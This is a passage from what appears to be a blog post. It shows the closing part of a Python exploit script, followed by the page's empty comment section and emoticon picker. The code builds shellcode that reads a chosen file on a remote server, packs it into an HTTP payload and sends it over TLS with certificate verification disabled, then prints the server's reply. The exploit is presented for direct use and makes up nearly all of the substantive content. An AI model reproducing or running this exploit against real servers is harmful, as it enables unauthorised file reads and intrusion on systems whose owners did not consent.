   else:
       shellcode = build_response_readfile_shellcode(args.path, RESPONSE_FDS)

   body = build_payload(shellcode)
   req = build_http(args.rhost, args.rport, body)

   ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
   ctx.check_hostname = False
   ctx.verify_mode = ssl.CERT_NONE

   with socket.create_connection((args.rhost, args.rport), timeout=args.timeout) as s:
       with ctx.wrap_socket(s, server_hostname=args.rhost) as ss:
           ss.settimeout(args.timeout)
           ss.sendall(req)
           data = recv_all(ss)

   print(data.decode("utf-8", errors="replace"))


if __name__ == "__main__":
   main()



       
       
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇